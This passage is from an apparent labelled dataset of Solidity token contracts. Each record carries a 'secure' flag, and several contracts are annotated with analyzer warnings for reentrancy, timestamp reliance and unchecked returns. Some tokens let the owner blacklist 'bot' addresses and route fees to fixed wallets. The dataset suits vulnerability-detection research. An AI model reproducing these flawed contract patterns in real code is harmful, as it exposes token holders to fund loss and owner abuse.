returns (uint256) {\n return tokenTotalSupply;\n }\n\n function decimals() public view virtual returns (uint8) {\n return tokenDecimals;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function name() public view returns (string memory) {\n return tokenName;\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(msg.sender, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n uint256 balance = _balances[from];\n\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}",
"file_name": "solidity_code_3081.sol",
"secure": 0,
"size_bytes": 5682
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract LORD is ERC20 {\n constructor() public ERC20(\"UniLord\", \"LORD\") {\n _mint(msg.sender, 10000000 * (10 ** uint256(decimals())));\n }\n}",
"file_name": "solidity_code_3082.sol",
"secure": 1,
"size_bytes": 285
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Kibito is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => bool) private bots;\n mapping(address => uint256) private cooldown;\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 1000000000000 * 10 ** 9;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n\n uint256 private _feeAddr1;\n uint256 private _feeAddr2;\n\t// WARNING Optimization Issue (immutable-states | ID: 104b5f9): Kibito._feeAddrWallet1 should be immutable \n\t// Recommendation for 104b5f9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _feeAddrWallet1;\n\t// WARNING Optimization Issue (immutable-states | ID: bd650c3): Kibito._feeAddrWallet2 should be immutable \n\t// Recommendation for bd650c3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _feeAddrWallet2;\n\n string private constant _name = \"KIBITO\";\n string private constant _symbol = \"KIBI\";\n uint8 private constant _decimals = 9;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n bool private cooldownEnabled = false;\n uint256 private _maxTxAmount = _tTotal;\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n constructor() {\n _feeAddrWallet1 = payable(0x421b660E858099a22e9351c0dfF9ef909b8091d8);\n _feeAddrWallet2 = payable(0x421b660E858099a22e9351c0dfF9ef909b8091d8);\n _rOwned[_msgSender()] = _rTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_feeAddrWallet1] = true;\n _isExcludedFromFee[_feeAddrWallet2] = true;\n emit Transfer(\n address(0x9d2f92A4980fB2253c89406d54Bf89f48670b926),\n _msgSender(),\n _tTotal\n );\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f8863bb): Kibito.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f8863bb: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8c541c9): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8c541c9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3b47a2f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3b47a2f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 8c541c9\n\t\t// reentrancy-benign | ID: 3b47a2f\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 8c541c9\n\t\t// reentrancy-benign | ID: 3b47a2f\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function setCooldownEnabled(bool onoff) external onlyOwner {\n cooldownEnabled = onoff;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4d34ef1): Kibito._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4d34ef1: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 3b47a2f\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 8c541c9\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 3401f45): Kibito._transfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons require(bool)(cooldown[to] < block.timestamp)\n\t// Recommendation for 3401f45: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 74f0271): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 74f0271: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0b3f7a1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0b3f7a1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 85a60c7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 85a60c7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n _feeAddr1 = 4;\n _feeAddr2 = 6;\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to] &&\n cooldownEnabled\n ) {\n require(amount <= _maxTxAmount);\n\t\t\t\t// timestamp | ID: 3401f45\n require(cooldown[to] < block.timestamp);\n cooldown[to] = block.timestamp + (30 seconds);\n }\n\n if (\n to == uniswapV2Pair &&\n from != address(uniswapV2Router) &&\n !_isExcludedFromFee[from]\n ) {\n _feeAddr1 = 4;\n _feeAddr2 = 6;\n }\n uint256 contractTokenBalance = balanceOf(address(this));\n if (!inSwap && from != uniswapV2Pair && swapEnabled) {\n\t\t\t\t// reentrancy-events | ID: 74f0271\n\t\t\t\t// reentrancy-benign | ID: 0b3f7a1\n\t\t\t\t// reentrancy-eth | ID: 85a60c7\n swapTokensForEth(contractTokenBalance);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 74f0271\n\t\t\t\t\t// reentrancy-eth | ID: 85a60c7\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n\t\t// reentrancy-events | ID: 74f0271\n\t\t// reentrancy-benign | ID: 0b3f7a1\n\t\t// reentrancy-eth | ID: 85a60c7\n _tokenTransfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 74f0271\n\t\t// reentrancy-events | ID: 8c541c9\n\t\t// reentrancy-benign | ID: 0b3f7a1\n\t\t// reentrancy-benign | ID: 3b47a2f\n\t\t// reentrancy-eth | ID: 85a60c7\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 74f0271\n\t\t// reentrancy-events | ID: 8c541c9\n\t\t// reentrancy-eth | ID: 85a60c7\n _feeAddrWallet1.transfer(amount.div(2));\n\t\t// reentrancy-events | ID: 74f0271\n\t\t// reentrancy-events | ID: 8c541c9\n\t\t// reentrancy-eth | ID: 85a60c7\n _feeAddrWallet2.transfer(amount.div(2));\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 68dffd0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 68dffd0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d1199dd): Kibito.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for d1199dd: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c8ad0fa): Kibito.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for c8ad0fa: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 39b5f18): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 39b5f18: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: 68dffd0\n\t\t// reentrancy-eth | ID: 39b5f18\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\t\t// reentrancy-benign | ID: 68dffd0\n\t\t// unused-return | ID: c8ad0fa\n\t\t// reentrancy-eth | ID: 39b5f18\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: 68dffd0\n swapEnabled = true;\n\t\t// reentrancy-benign | ID: 68dffd0\n cooldownEnabled = true;\n\t\t// reentrancy-benign | ID: 68dffd0\n _maxTxAmount = 15000000000 * 10 ** 9;\n\t\t// reentrancy-eth | ID: 39b5f18\n tradingOpen = true;\n\t\t// unused-return | ID: d1199dd\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n }\n\n function setBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n _transferStandard(sender, recipient, amount);\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: 85a60c7\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: 85a60c7\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: 74f0271\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n\t\t// reentrancy-eth | ID: 85a60c7\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: 85a60c7\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: 0b3f7a1\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function manualswap() external {\n require(_msgSender() == _feeAddrWallet1);\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(_msgSender() == _feeAddrWallet1);\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _feeAddr1,\n _feeAddr2\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 taxFee,\n uint256 TeamFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(taxFee).div(100);\n uint256 tTeam = tAmount.mul(TeamFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n}",
"file_name": "solidity_code_3083.sol",
"secure": 0,
"size_bytes": 17994
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Freezable is Context {\n event Freeze(address indexed holder);\n event Unfreeze(address indexed holder);\n\n mapping(address => bool) private _frozenAccount;\n\n modifier whenNotFrozen(address holder) {\n require(!_frozenAccount[holder]);\n _;\n }\n\n function isFrozen(\n address holder\n ) public view virtual returns (bool frozen) {\n return _frozenAccount[holder];\n }\n\n function _freezeAccount(\n address holder\n ) internal virtual returns (bool success) {\n require(!isFrozen(holder));\n _frozenAccount[holder] = true;\n emit Freeze(holder);\n success = true;\n }\n\n function _unfreezeAccount(\n address holder\n ) internal virtual returns (bool success) {\n require(isFrozen(holder));\n _frozenAccount[holder] = false;\n emit Unfreeze(holder);\n success = true;\n }\n}",
"file_name": "solidity_code_3084.sol",
"secure": 1,
"size_bytes": 1065
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/utils/Pausable.sol\" as Pausable;\nimport \"./Freezable.sol\" as Freezable;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\n\ncontract REOB is ERC20, Pausable, Freezable, ERC20Burnable {\n constructor() ERC20(\"REOB\", \"REOB\") {\n _mint(msg.sender, 1000000000 * (10 ** decimals()));\n }\n\n function pause() public onlyOwner {\n _pause();\n }\n\n function unpause() public onlyOwner {\n _unpause();\n }\n\n function freezeAccount(address holder) public onlyOwner {\n _freezeAccount(holder);\n }\n\n function unfreezeAccount(address holder) public onlyOwner {\n _unfreezeAccount(holder);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal override whenNotPaused whenNotFrozen(from) {\n super._beforeTokenTransfer(from, to, amount);\n }\n}",
"file_name": "solidity_code_3085.sol",
"secure": 1,
"size_bytes": 1088
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract HamikToken is ERC20 {\n constructor(uint256 initialSupply) ERC20(\"Hamik Token\", \"HAMIK\") {\n _mint(msg.sender, initialSupply);\n }\n}",
"file_name": "solidity_code_3086.sol",
"secure": 1,
"size_bytes": 285
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./TokenERC20.sol\" as TokenERC20;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 0e687a8): Contract locking ether found Contract MultiUniverseCapital has payable functions TokenERC20.receive() TokenERC20.fallback() But does not have a function to withdraw the ether\n// Recommendation for 0e687a8: Remove the 'payable' attribute or add a withdraw function.\ncontract MultiUniverseCapital is TokenERC20 {\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 109ca50): MultiUniverseCapital.constructor(string,string,uint256,address,address)._del lacks a zerocheck on \t delegate = _del\n\t// Recommendation for 109ca50: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 614ad92): MultiUniverseCapital.constructor(string,string,uint256,address,address)._ref lacks a zerocheck on \t reflector = _ref\n\t// Recommendation for 614ad92: Check that the address is not zero.\n constructor(\n string memory _name,\n string memory _symbol,\n uint256 _supply,\n address _del,\n address _ref\n ) {\n symbol = _symbol;\n name = _name;\n decimals = 9;\n _totalSupply = _supply * (10 ** uint256(decimals));\n number = _totalSupply;\n\t\t// missing-zero-check | ID: 109ca50\n delegate = _del;\n\t\t// missing-zero-check | ID: 614ad92\n reflector = _ref;\n balances[owner] = _totalSupply;\n emit Transfer(address(0), owner, _totalSupply);\n }\n}",
"file_name": "solidity_code_3087.sol",
"secure": 0,
"size_bytes": 1598
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract SHIBARMY is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => bool) private _isBot;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0caebe1): SHIBARMY._rTotal should be constant \n\t// Recommendation for 0caebe1: Add the 'constant' attribute to state variables that never change.\n uint256 private _rTotal = (_MAX - (_MAX % _tTotal));\n uint256 private constant _MAX = ~uint256(0);\n\t// WARNING Optimization Issue (constable-states | ID: 1ecc993): SHIBARMY._tFeeTotal should be constant \n\t// Recommendation for 1ecc993: Add the 'constant' attribute to state variables that never change.\n uint256 private _tFeeTotal;\n\n uint256 private constant _tTotal = 1e10 * 10 ** 9;\n uint256 private constant _decimals = 9;\n\n uint256 private _previousteamFee = _teamFee;\n uint256 private _teamFee = 9;\n\n string private constant _symbol = unicode\"SHIBARMY\";\n string private constant _name = unicode\"SHIBARMY INU\";\n\n address payable private _feeAddress;\n\n IUniswapV2Router02 private _uniswapV2Router;\n address private _uniswapV2Pair;\n\n bool private _initialized = false;\n bool private _inSwap = false;\n bool private _tradingOpen = false;\n uint256 private _launchTime;\n uint256 private _initialLimitDuration;\n\n modifier lockTheSwap() {\n\t\t// reentrancy-no-eth | ID: 3f28bb5\n _inSwap = true;\n _;\n\t\t// reentrancy-no-eth | ID: 3f28bb5\n _inSwap = false;\n }\n\n modifier handleFees(bool takeFee) {\n if (!takeFee) _removeAllFees();\n _;\n if (!takeFee) _restoreAllFees();\n }\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[\n payable(0x000000000000000000000000000000000000dEaD)\n ] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint256) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7a23367): SHIBARMY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7a23367: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 130c2f4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 130c2f4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 306e933): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 306e933: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 130c2f4\n\t\t// reentrancy-benign | ID: 306e933\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 130c2f4\n\t\t// reentrancy-benign | ID: 306e933\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function _tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n function _removeAllFees() private {\n require(_teamFee > 0);\n\n\t\t// reentrancy-no-eth | ID: 3f28bb5\n _previousteamFee = _teamFee;\n\t\t// reentrancy-no-eth | ID: 3f28bb5\n _teamFee = 0;\n }\n\n function _restoreAllFees() private {\n\t\t// reentrancy-no-eth | ID: 3f28bb5\n _teamFee = _previousteamFee;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2b77def): SHIBARMY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2b77def: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 306e933\n\t\t// reentrancy-benign | ID: 2b7c531\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 965bc50\n\t\t// reentrancy-events | ID: 130c2f4\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 2920fdf): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 2920fdf: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 965bc50): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 965bc50: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2b7c531): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2b7c531: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 3f28bb5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 3f28bb5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 5ff3bfd): SHIBARMY._transfer(address,address,uint256) uses a dangerous strict equality block.timestamp == _launchTime\n\t// Recommendation for 5ff3bfd: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0) && to != address(0));\n require(amount > 0);\n require(!_isBot[from]);\n\n bool takeFee = false;\n if (\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to] &&\n (from == _uniswapV2Pair || to == _uniswapV2Pair)\n ) {\n require(_tradingOpen);\n takeFee = true;\n\n if (\n\t\t\t\t// timestamp | ID: 2920fdf\n from == _uniswapV2Pair &&\n to != address(_uniswapV2Router) &&\n _initialLimitDuration > block.timestamp\n ) {\n uint256 walletBalance = balanceOf(address(to));\n require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));\n }\n\n\t\t\t// timestamp | ID: 2920fdf\n\t\t\t// incorrect-equality | ID: 5ff3bfd\n if (block.timestamp == _launchTime) _isBot[to] = true;\n\n uint256 contractTokenBalance = 